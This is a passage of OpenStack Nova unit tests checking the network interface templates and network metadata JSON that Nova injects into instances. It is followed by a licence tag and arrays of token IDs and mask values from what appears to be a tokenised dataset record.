subnet_dict['dhcp_server'] = '10.10.0.1'
if use_ipv4:
network.add_subnet(
fake_network_cache_model.new_subnet(subnet_dict))
if should_inject and use_ipv6:
gateway_ip = fake_network_cache_model.new_ip(dict(
address='1234:567::1'))
ip = fake_network_cache_model.new_ip(dict(
address='1234:567::2'))
ipv6_subnet_dict = dict(
cidr='1234:567::/48',
gateway=gateway_ip,
dns=[fake_network_cache_model.new_ip(
dict(address='2001:4860:4860::8888')),
fake_network_cache_model.new_ip(
dict(address='2001:4860:4860::8844'))],
ips=[ip])
if not gateway:
ipv6_subnet_dict['gateway'] = None
network.add_subnet(fake_network_cache_model.new_subnet(
ipv6_subnet_dict))
# Behave as though CONF.flat_injected is True
network['meta']['injected'] = True
vif = fake_network_cache_model.new_vif({'network': network})
vifs = [vif]
if two_interfaces:
vifs.append(vif)
nwinfo = model.NetworkInfo(vifs)
return netutils.get_injected_network_template(
nwinfo, use_ipv6=use_ipv6, libvirt_virt_type=libvirt_virt_type)
def test_injection_dynamic(self):
expected = None
template = self._setup_injected_network_scenario(should_inject=False)
self.assertEqual(expected, template)
def test_injection_static(self):
expected = """\
# Injected by Nova on instance boot
#
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
gateway 10.10.0.1
dns-nameservers 1.2.3.4 2.3.4.5
"""
template = self._setup_injected_network_scenario()
self.assertEqual(expected, template)
def test_injection_static_no_gateway(self):
expected = """\
# Injected by Nova on instance boot
#
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
dns-nameservers 1.2.3.4 2.3.4.5
"""
template = self._setup_injected_network_scenario(gateway=False)
self.assertEqual(expected, template)
def test_injection_static_no_dns(self):
expected = """\
# Injected by Nova on instance boot
#
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
gateway 10.10.0.1
"""
template = self._setup_injected_network_scenario(dns=False)
self.assertEqual(expected, template)
def test_injection_static_overriden_template(self):
cfg.CONF.set_override(
'injected_network_template',
'nova/tests/unit/network/interfaces-override.template')
expected = """\
# Injected by Nova on instance boot
#
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
gateway 10.10.0.1
dns-nameservers 1.2.3.4 2.3.4.5
post-up ip route add 0.0.0.0/24 via 192.168.1.1 dev eth0
pre-down ip route del 0.0.0.0/24 via 192.168.1.1 dev eth0
"""
template = self._setup_injected_network_scenario()
self.assertEqual(expected, template)
def test_injection_static_ipv6(self):
expected = """\
# Injected by Nova on instance boot
#
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
gateway 10.10.0.1
dns-nameservers 1.2.3.4 2.3.4.5
iface eth0 inet6 static
hwaddress ether aa:aa:aa:aa:aa:aa
address 1234:567::2
netmask 48
gateway 1234:567::1
dns-nameservers 2001:4860:4860::8888 2001:4860:4860::8844
"""
template = self._setup_injected_network_scenario(use_ipv6=True)
self.assertEqual(expected, template)
def test_injection_static_ipv6_no_gateway(self):
expected = """\
# Injected by Nova on instance boot
#
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
dns-nameservers 1.2.3.4 2.3.4.5
iface eth0 inet6 static
hwaddress ether aa:aa:aa:aa:aa:aa
address 1234:567::2
netmask 48
dns-nameservers 2001:4860:4860::8888 2001:4860:4860::8844
"""
template = self._setup_injected_network_scenario(use_ipv6=True,
gateway=False)
self.assertEqual(expected, template)
def test_injection_static_with_ipv4_off(self):
expected = None
template = self._setup_injected_network_scenario(use_ipv4=False)
self.assertEqual(expected, template)
def test_injection_ipv6_two_interfaces(self):
expected = """\
# Injected by Nova on instance boot
#
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
gateway 10.10.0.1
dns-nameservers 1.2.3.4 2.3.4.5
iface eth0 inet6 static
hwaddress ether aa:aa:aa:aa:aa:aa
address 1234:567::2
netmask 48
gateway 1234:567::1
dns-nameservers 2001:4860:4860::8888 2001:4860:4860::8844
auto eth1
iface eth1 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
gateway 10.10.0.1
dns-nameservers 1.2.3.4 2.3.4.5
iface eth1 inet6 static
hwaddress ether aa:aa:aa:aa:aa:aa
address 1234:567::2
netmask 48
gateway 1234:567::1
dns-nameservers 2001:4860:4860::8888 2001:4860:4860::8844
"""
template = self._setup_injected_network_scenario(use_ipv6=True,
two_interfaces=True)
self.assertEqual(expected, template)
def test_injection_ipv6_with_lxc(self):
expected = """\
# Injected by Nova on instance boot
#
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
gateway 10.10.0.1
dns-nameservers 1.2.3.4 2.3.4.5
post-up ip -6 addr add 1234:567::2/48 dev ${IFACE}
post-up ip -6 route add default via 1234:567::1 dev ${IFACE}
auto eth1
iface eth1 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
gateway 10.10.0.1
dns-nameservers 1.2.3.4 2.3.4.5
post-up ip -6 addr add 1234:567::2/48 dev ${IFACE}
post-up ip -6 route add default via 1234:567::1 dev ${IFACE}
"""
template = self._setup_injected_network_scenario(
use_ipv6=True, two_interfaces=True, libvirt_virt_type='lxc')
self.assertEqual(expected, template)
def test_injection_ipv6_with_lxc_no_gateway(self):
expected = """\
# Injected by Nova on instance boot
#
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
dns-nameservers 1.2.3.4 2.3.4.5
post-up ip -6 addr add 1234:567::2/48 dev ${IFACE}
auto eth1
iface eth1 inet static
hwaddress ether aa:aa:aa:aa:aa:aa
address 10.10.0.2
netmask 255.255.255.0
broadcast 10.10.0.255
dns-nameservers 1.2.3.4 2.3.4.5
post-up ip -6 addr add 1234:567::2/48 dev ${IFACE}
"""
template = self._setup_injected_network_scenario(
use_ipv6=True, gateway=False, two_interfaces=True,
libvirt_virt_type='lxc')
self.assertEqual(expected, template)
class TestNetworkMetadata(test.NoDBTestCase):
def setUp(self):
super(TestNetworkMetadata, self).setUp()
self.netinfo = model.NetworkInfo([fake_network_cache_model.new_vif(
{'type': 'ethernet'})])
# Give this vif ipv4 and ipv6 dhcp subnets
ipv4_subnet = fake_network_cache_model.new_subnet(version=4)
ipv6_subnet = fake_network_cache_model.new_subnet(version=6)
self.netinfo[0]['network']['subnets'][0] = ipv4_subnet
self.netinfo[0]['network']['subnets'][1] = ipv6_subnet
self.netinfo[0]['network']['mtu'] = 1500
def test_get_network_metadata_json(self):
net_metadata = netutils.get_network_metadata(self.netinfo,
use_ipv6=True)
# Physical Ethernet
self.assertEqual(
{
'id': 'interface0',
'type': 'phy',
'ethernet_mac_address': 'aa:aa:aa:aa:aa:aa',
'vif_id': 1,
'mtu': 1500
},
net_metadata['links'][0])
# IPv4 Network
self.assertEqual(
{
'id': 'network0',
'link': 'interface0',
'type': 'ipv4',
'ip_address': '10.10.0.2',
'netmask': '255.255.255.0',
'routes': [
{
'network': '0.0.0.0',
'netmask': '0.0.0.0',
'gateway': '10.10.0.1'
},
{
'network': '0.0.0.0',
'netmask': '255.255.255.0',
'gateway': '192.168.1.1'
}
],
'network_id': 1
},
net_metadata['networks'][0])
self.assertEqual(
{
'id': 'network1',
'link': 'interface0',
'type': 'ipv6',
'ip_address': 'fd00::2',
'netmask': 'ffff:ffff:ffff::',
'routes': [
{
'network': '::',
'netmask': '::',
'gateway': 'fd00::1'
},
{
'network': '::',
'netmask': 'ffff:ffff:ffff::',
'gateway': 'fd00::1:1'
}
],
'network_id': 1
},
net_metadata['networks'][1])
def test_get_network_metadata_json_dhcp(self):
ipv4_subnet = fake_network_cache_model.new_subnet(
subnet_dict=dict(dhcp_server='1.1.1.1'), version=4)
ipv6_subnet = fake_network_cache_model.new_subnet(
subnet_dict=dict(dhcp_server='1234:567::'), version=6)
self.netinfo[0]['network']['subnets'][0] = ipv4_subnet
self.netinfo[0]['network']['subnets'][1] = ipv6_subnet
net_metadata = netutils.get_network_metadata(self.netinfo,
use_ipv6=True)
# IPv4 Network
self.assertEqual(
{
'id': 'network0',
'link': 'interface0',
'type': 'ipv4_dhcp',
'network_id': 1
},
net_metadata['networks'][0])
# IPv6 Network
self.assertEqual(
{
'id': 'network1',
'link': 'interface0',
'type': 'ipv6_dhcp',
'network_id': 1
},
net_metadata['networks'][1])
def test__get_nets(self):
expected_net = {
'id': 'network0',
'ip_address': '10.10.0.2',
'link': 1,
'netmask': '255.255.255.0',
'network_id': 1,
'routes': [
{
'gateway': '10.10.0.1',
'netmask': '0.0.0.0',
'network': '0.0.0.0'},
{
'gateway': '192.168.1.1',
'netmask': '255.255.255.0',
'network': '0.0.0.0'}],
'type': 'ipv4'
}
net = netutils._get_nets(
self.netinfo[0], self.netinfo[0]['network']['subnets'][0], 4, 0, 1)
self.assertEqual(expected_net, net)
def test__get_eth_link(self):
expected_link = {
'id': 'interface0',
'vif_id': 1,
'type': 'vif',
'ethernet_mac_address': 'aa:aa:aa:aa:aa:aa',
'mtu': 1500
}
self.netinfo[0]['type'] = 'vif'
link = netutils._get_eth_link(self.netinfo[0], 0)
self.assertEqual(expected_link, link)
def test__get_eth_link_physical(self):
expected_link = {
'id': 'interface1',
'vif_id': 1,
'type': 'phy',
'ethernet_mac_address': 'aa:aa:aa:aa:aa:aa',
'mtu': 1500
}
link = netutils._get_eth_link(self.netinfo[0], 1)
self.assertEqual(expected_link, link)
def test__get_default_route(self):
v4_expected = [{
'network': '0.0.0.0',
'netmask': '0.0.0.0',
'gateway': '10.10.0.1',
}]
v6_expected = [{
'network': '::',
'netmask': '::',
'gateway': 'fd00::1'
}]
v4 = netutils._get_default_route(
4, self.netinfo[0]['network']['subnets'][0])
self.assertEqual(v4_expected, v4)
v6 = netutils._get_default_route(
6, self.netinfo[0]['network']['subnets'][1])
self.assertEqual(v6_expected, v6)
# Test for no gateway
self.netinfo[0]['network']['subnets'][0]['gateway'] = None
no_route = netutils._get_default_route(
4, self.netinfo[0]['network']['subnets'][0])
self.assertEqual([], no_route)
def test__get_dns_services(self):
expected_dns = [
{'type': 'dns', 'address': '1.2.3.4'},
{'type': 'dns', 'address': '2.3.4.5'},
{'type': 'dns', 'address': '3.4.5.6'}
]
subnet = fake_network_cache_model.new_subnet(version=4)
subnet['dns'].append(fake_network_cache_model.new_ip(
{'address': '3.4.5.6'}))
dns = netutils._get_dns_services(subnet)
self.assertEqual(expected_dns, dns)
def test_get_network_metadata(self):
expected_json = {
"links": [
{
"ethernet_mac_address": "aa:aa:aa:aa:aa:aa",
"id": "interface0",
"type": "phy",
"vif_id": 1,
"mtu": 1500
},
{
"ethernet_mac_address": "aa:aa:aa:aa:aa:ab",
"id": "interface1",
"type": "phy",
"vif_id": 1,
"mtu": 1500
},
],
"networks": [
{
"id": "network0",
"ip_address": "10.10.0.2",
"link": "interface0",
"netmask": "255.255.255.0",
"network_id":
"00000000-0000-0000-0000-000000000000",
"routes": [
{
"gateway": "10.10.0.1",
"netmask": "0.0.0.0",
"network": "0.0.0.0"
},
{
"gateway": "192.168.1.1",
"netmask": "255.255.255.0",
"network": "0.0.0.0"
}
],
"type": "ipv4"
},
{
'id': 'network1',
'ip_address': 'fd00::2',
'link': 'interface0',
'netmask': 'ffff:ffff:ffff::',
'network_id': '00000000-0000-0000-0000-000000000000',
'routes': [{'gateway': 'fd00::1',
'netmask': '::',
'network': '::'},
{'gateway': 'fd00::1:1',
'netmask': 'ffff:ffff:ffff::',
'network': '::'}],
'type': 'ipv6'
},
{
"id": "network2",
"ip_address": "192.168.0.2",
"link": "interface1",
"netmask": "255.255.255.0",
"network_id":
"11111111-1111-1111-1111-111111111111",
"routes": [
{
"gateway": "192.168.0.1",
"netmask": "0.0.0.0",
"network": "0.0.0.0"
}
],
"type": "ipv4"
}
],
'services': [
{'address': '1.2.3.4', 'type': 'dns'},
{'address': '2.3.4.5', 'type': 'dns'},
{'address': '1:2:3:4::', 'type': 'dns'},
{'address': '2:3:4:5::', 'type': 'dns'}
]
}
self.netinfo[0]['network']['id'] = (
'00000000-0000-0000-0000-000000000000')
# Add a second NIC
self.netinfo.append(fake_network_cache_model.new_vif({
'type': 'ethernet', 'address': 'aa:aa:aa:aa:aa:ab'}))
address = fake_network_cache_model.new_ip({'address': '192.168.0.2'})
gateway_address = fake_network_cache_model.new_ip(
{'address': '192.168.0.1'})
ipv4_subnet = fake_network_cache_model.new_subnet(
{'cidr': '192.168.0.0/24', 'gateway': gateway_address,
'ips': [address], 'routes': []})
self.netinfo[1]['network']['id'] = (
'11111111-1111-1111-1111-111111111111')
self.netinfo[1]['network']['subnets'][0] = ipv4_subnet
self.netinfo[1]['network']['mtu'] = 1500
network_json = netutils.get_network_metadata(self.netinfo)
self.assertEqual(expected_json, network_json)
def test_get_network_metadata_no_ipv4(self):
expected_json = {
"services": [
{
"type": "dns",
"address": "1:2:3:4::"
},
{
"type": "dns",
"address": "2:3:4:5::"
}
],
"networks": [
{
"network_id": 1,
"type": "ipv6",
"netmask": "ffff:ffff:ffff::",
"link": "interface0",
"routes": [
{
"netmask": "::",
"network": "::",
"gateway": "fd00::1"
},
{
"netmask": "ffff:ffff:ffff::",
"network": "::",
"gateway": "fd00::1:1"
}
],
"ip_address": "fd00::2",
"id": "network0"
}
],
"links": [
{
"ethernet_mac_address": "aa:aa:aa:aa:aa:aa",
"mtu": 1500,
"type": "phy",
"id": "interface0",
"vif_id": 1
}
]
}
# drop the ipv4 subnet
self.netinfo[0]['network']['subnets'].pop(0)
network_json = netutils.get_network_metadata(self.netinfo)
self.assertEqual(expected_json, network_json)
|
apache-2.0
|
[
3,
1898,
7760,
14260,
2752,
199,
3,
2900,
5924,
5702,
14,
199,
3,
1898,
6171,
26202,
22304,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
504,
11258,
63,
888,
492,
4810,
199,
199,
504,
5913,
492,
1919,
199,
504,
5913,
14,
1200,
492,
1402,
199,
504,
5913,
492,
511,
199,
504,
5913,
14,
2219,
14,
3248,
492,
4026,
63,
1200,
63,
1637,
63,
1238,
199,
504,
5913,
14,
4549,
492,
1851,
1208,
421,
199,
533,
24244,
2925,
8,
396,
14,
32437,
304,
272,
347,
511,
63,
981,
63,
4449,
63,
1045,
63,
3288,
8,
277,
304,
267,
7475,
275,
4026,
63,
1200,
63,
1637,
63,
1238,
14,
1222,
63,
4449,
342,
267,
4026,
63,
1200,
63,
1637,
63,
1238,
14,
1222,
63,
711,
8,
807,
8,
1562,
534,
5756,
14,
6568,
14,
17,
14,
17,
1333,
267,
291,
14,
629,
360,
16,
14,
16,
14,
16,
14,
16,
15,
1194,
297,
7475,
459,
10509,
1105,
267,
291,
14,
629,
360,
5756,
14,
6568,
14,
17,
14,
17,
297,
7475,
459,
7019,
2545,
1562,
1105,
267,
291,
14,
629,
360,
12391,
16,
297,
7475,
459,
3266,
1105,
339,
347,
511,
63,
13243,
63,
1452,
8,
277,
304,
267,
7475,
17,
275,
1402,
14,
7161,
342,
267,
7475,
18,
275,
1402,
14,
7161,
342,
267,
291,
14,
629,
8,
4449,
17,
12,
7475,
18,
9,
339,
347,
511,
63,
13243,
63,
1397,
63,
1452,
8,
277,
304,
267,
7475,
17,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
16,
15,
1194,
358,
267,
7475,
18,
275,
1402,
14,
7161,
8,
10509,
534,
18,
14,
18,
14,
18,
14,
16,
15,
1194,
358,
267,
291,
14,
7418,
8,
4449,
17,
12,
7475,
18,
9,
398,
7475,
17,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
17,
15,
1194,
297,
10391,
534,
17,
14,
17,
14,
17,
14,
17,
358,
267,
7475,
18,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
17,
15,
1194,
297,
10391,
534,
17,
14,
17,
14,
17,
14,
18,
358,
267,
291,
14,
7418,
8,
4449,
17,
12,
7475,
18,
9,
398,
7475,
17,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
17,
15,
1194,
297,
3217,
534,
16609,
16,
358,
267,
7475,
18,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
17,
15,
1194,
297,
3217,
534,
16609,
17,
358,
267,
291,
14,
7418,
8,
4449,
17,
12,
7475,
18,
9,
339,
347,
511,
63,
3577,
68,
1866,
8,
277,
304,
267,
7475,
275,
1402,
14,
7161,
14,
3577,
68,
1866,
8,
355,
791,
7019,
356,
4026,
63,
1200,
63,
1637,
63,
1238,
14,
1222,
63,
711,
8,
1816,
1211,
8,
1562,
534,
5756,
14,
6568,
14,
17,
14,
17,
1333,
1552,
267,
291,
14,
7702,
8,
4449,
459,
10509,
1105,
267,
291,
14,
629,
360,
5756,
14,
6568,
14,
17,
14,
17,
297,
7475,
459,
7019,
2545,
1562,
1105,
267,
291,
14,
7702,
8,
4449,
459,
3266,
1105,
421,
199,
533,
3531,
2925,
8,
396,
14,
32437,
304,
272,
347,
511,
63,
711,
63,
1452,
8,
277,
304,
267,
3384,
17,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
358,
267,
3384,
18,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
358,
267,
291,
14,
629,
8,
711,
17,
12,
3384,
18,
9,
339,
347,
511,
63,
711,
63,
1397,
63,
1452,
8,
277,
304,
267,
3384,
17,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
358,
267,
3384,
18,
275,
1402,
14,
1772,
8,
1562,
534,
10419,
14,
16,
14,
16,
14,
19,
358,
267,
291,
14,
7418,
8,
711,
17,
12,
3384,
18,
9,
398,
3384,
17,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
297,
730,
29,
17,
9,
267,
3384,
18,
275,
1402,
14,
1772,
8,
1562,
534,
10419,
14,
16,
14,
16,
14,
17,
297,
730,
29,
18,
9,
267,
291,
14,
7418,
8,
711,
17,
12,
3384,
18,
9,
398,
3384,
17,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
297,
1015,
29,
20,
9,
267,
3384,
18,
275,
1402,
14,
1772,
8,
1562,
534,
10419,
14,
16,
14,
16,
14,
17,
297,
1015,
29,
22,
9,
267,
291,
14,
7418,
8,
711,
17,
12,
3384,
18,
9,
421,
199,
533,
18659,
1772,
2925,
8,
396,
14,
32437,
304,
272,
347,
511,
63,
981,
1222,
63,
5964,
63,
711,
63,
1045,
63,
3288,
8,
277,
304,
267,
6317,
63,
711,
275,
1402,
14,
9515,
1772,
8,
1562,
534,
5756,
14,
6568,
14,
17,
14,
1960,
358,
267,
291,
14,
629,
360,
5756,
14,
6568,
14,
17,
14,
1960,
297,
6317,
63,
711,
459,
1562,
1105,
267,
291,
14,
629,
8798,
6317,
63,
711,
459,
7774,
63,
6142,
1105,
267,
291,
14,
629,
360,
5964,
297,
6317,
63,
711,
459,
466,
1105,
267,
291,
14,
629,
8,
20,
12,
6317,
63,
711,
459,
1023,
1105,
339,
347,
511,
63,
981,
63,
5964,
63,
4774,
22,
8,
277,
304,
267,
6317,
63,
711,
275,
1402,
14,
9515,
1772,
8,
1562,
18749,
26,
17,
358,
267,
291,
14,
629,
29539,
17,
297,
6317,
63,
711,
459,
1562,
1105,
267
] |
[
1898,
7760,
14260,
2752,
199,
3,
2900,
5924,
5702,
14,
199,
3,
1898,
6171,
26202,
22304,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
504,
11258,
63,
888,
492,
4810,
199,
199,
504,
5913,
492,
1919,
199,
504,
5913,
14,
1200,
492,
1402,
199,
504,
5913,
492,
511,
199,
504,
5913,
14,
2219,
14,
3248,
492,
4026,
63,
1200,
63,
1637,
63,
1238,
199,
504,
5913,
14,
4549,
492,
1851,
1208,
421,
199,
533,
24244,
2925,
8,
396,
14,
32437,
304,
272,
347,
511,
63,
981,
63,
4449,
63,
1045,
63,
3288,
8,
277,
304,
267,
7475,
275,
4026,
63,
1200,
63,
1637,
63,
1238,
14,
1222,
63,
4449,
342,
267,
4026,
63,
1200,
63,
1637,
63,
1238,
14,
1222,
63,
711,
8,
807,
8,
1562,
534,
5756,
14,
6568,
14,
17,
14,
17,
1333,
267,
291,
14,
629,
360,
16,
14,
16,
14,
16,
14,
16,
15,
1194,
297,
7475,
459,
10509,
1105,
267,
291,
14,
629,
360,
5756,
14,
6568,
14,
17,
14,
17,
297,
7475,
459,
7019,
2545,
1562,
1105,
267,
291,
14,
629,
360,
12391,
16,
297,
7475,
459,
3266,
1105,
339,
347,
511,
63,
13243,
63,
1452,
8,
277,
304,
267,
7475,
17,
275,
1402,
14,
7161,
342,
267,
7475,
18,
275,
1402,
14,
7161,
342,
267,
291,
14,
629,
8,
4449,
17,
12,
7475,
18,
9,
339,
347,
511,
63,
13243,
63,
1397,
63,
1452,
8,
277,
304,
267,
7475,
17,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
16,
15,
1194,
358,
267,
7475,
18,
275,
1402,
14,
7161,
8,
10509,
534,
18,
14,
18,
14,
18,
14,
16,
15,
1194,
358,
267,
291,
14,
7418,
8,
4449,
17,
12,
7475,
18,
9,
398,
7475,
17,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
17,
15,
1194,
297,
10391,
534,
17,
14,
17,
14,
17,
14,
17,
358,
267,
7475,
18,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
17,
15,
1194,
297,
10391,
534,
17,
14,
17,
14,
17,
14,
18,
358,
267,
291,
14,
7418,
8,
4449,
17,
12,
7475,
18,
9,
398,
7475,
17,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
17,
15,
1194,
297,
3217,
534,
16609,
16,
358,
267,
7475,
18,
275,
1402,
14,
7161,
8,
10509,
534,
17,
14,
17,
14,
17,
14,
17,
15,
1194,
297,
3217,
534,
16609,
17,
358,
267,
291,
14,
7418,
8,
4449,
17,
12,
7475,
18,
9,
339,
347,
511,
63,
3577,
68,
1866,
8,
277,
304,
267,
7475,
275,
1402,
14,
7161,
14,
3577,
68,
1866,
8,
355,
791,
7019,
356,
4026,
63,
1200,
63,
1637,
63,
1238,
14,
1222,
63,
711,
8,
1816,
1211,
8,
1562,
534,
5756,
14,
6568,
14,
17,
14,
17,
1333,
1552,
267,
291,
14,
7702,
8,
4449,
459,
10509,
1105,
267,
291,
14,
629,
360,
5756,
14,
6568,
14,
17,
14,
17,
297,
7475,
459,
7019,
2545,
1562,
1105,
267,
291,
14,
7702,
8,
4449,
459,
3266,
1105,
421,
199,
533,
3531,
2925,
8,
396,
14,
32437,
304,
272,
347,
511,
63,
711,
63,
1452,
8,
277,
304,
267,
3384,
17,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
358,
267,
3384,
18,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
358,
267,
291,
14,
629,
8,
711,
17,
12,
3384,
18,
9,
339,
347,
511,
63,
711,
63,
1397,
63,
1452,
8,
277,
304,
267,
3384,
17,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
358,
267,
3384,
18,
275,
1402,
14,
1772,
8,
1562,
534,
10419,
14,
16,
14,
16,
14,
19,
358,
267,
291,
14,
7418,
8,
711,
17,
12,
3384,
18,
9,
398,
3384,
17,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
297,
730,
29,
17,
9,
267,
3384,
18,
275,
1402,
14,
1772,
8,
1562,
534,
10419,
14,
16,
14,
16,
14,
17,
297,
730,
29,
18,
9,
267,
291,
14,
7418,
8,
711,
17,
12,
3384,
18,
9,
398,
3384,
17,
275,
1402,
14,
1772,
8,
1562,
534,
4195,
14,
16,
14,
16,
14,
17,
297,
1015,
29,
20,
9,
267,
3384,
18,
275,
1402,
14,
1772,
8,
1562,
534,
10419,
14,
16,
14,
16,
14,
17,
297,
1015,
29,
22,
9,
267,
291,
14,
7418,
8,
711,
17,
12,
3384,
18,
9,
421,
199,
533,
18659,
1772,
2925,
8,
396,
14,
32437,
304,
272,
347,
511,
63,
981,
1222,
63,
5964,
63,
711,
63,
1045,
63,
3288,
8,
277,
304,
267,
6317,
63,
711,
275,
1402,
14,
9515,
1772,
8,
1562,
534,
5756,
14,
6568,
14,
17,
14,
1960,
358,
267,
291,
14,
629,
360,
5756,
14,
6568,
14,
17,
14,
1960,
297,
6317,
63,
711,
459,
1562,
1105,
267,
291,
14,
629,
8798,
6317,
63,
711,
459,
7774,
63,
6142,
1105,
267,
291,
14,
629,
360,
5964,
297,
6317,
63,
711,
459,
466,
1105,
267,
291,
14,
629,
8,
20,
12,
6317,
63,
711,
459,
1023,
1105,
339,
347,
511,
63,
981,
63,
5964,
63,
4774,
22,
8,
277,
304,
267,
6317,
63,
711,
275,
1402,
14,
9515,
1772,
8,
1562,
18749,
26,
17,
358,
267,
291,
14,
629,
29539,
17,
297,
6317,
63,
711,
459,
1562,
1105,
267,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
